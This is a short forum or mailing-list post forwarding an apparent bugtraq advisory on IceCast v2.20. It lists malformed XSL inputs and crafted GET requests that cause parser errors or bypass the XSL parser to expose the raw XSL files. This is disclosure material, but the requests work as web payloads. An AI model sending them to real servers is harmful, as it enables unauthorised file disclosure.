Hey all,
did you happen to see this recent post to bugtraq?  If so, I apologize.
 I haven't been keeping up with the archives since everything has been

These are tested on IceCast v2.20. This software can be freely obtained
from http://www.icecast.org.

"Icecast is a streaming media server which currently supports Ogg
Vorbis and MP3 audio streams. It can be used to create an Internet
radio station or a privately running jukebox and many things in
between. It is very versatile in that new formats can be added
relatively easily and supports open standards for commuincation and
interaction."

1) The XSL parser has some unchecked buffers (local), but they dont seem
to be exploitable. If they are, they can be used for priviledge
escalation, under the user that the server runs.

<xsl:when test="<lots of chars>"></xsl:when>
<xsl:if test="<lots of chars>"></xsl:if>
<xsl:value-of select="<lots of chars>" />

2) Cause XSL parser error "Could not parse XSLT file". (Not very useful).

GET /status.xsl> HTTP/1.0
GET /status.xsl< HTTP/1.0
GET /<status.xsl HTTP/1.0

3) XSL parser bypass. (Useful to steal customized XSL files, lol).

GET /auth.xsl. HTTP/1.0
GET /status.xsl. HTTP/1.0
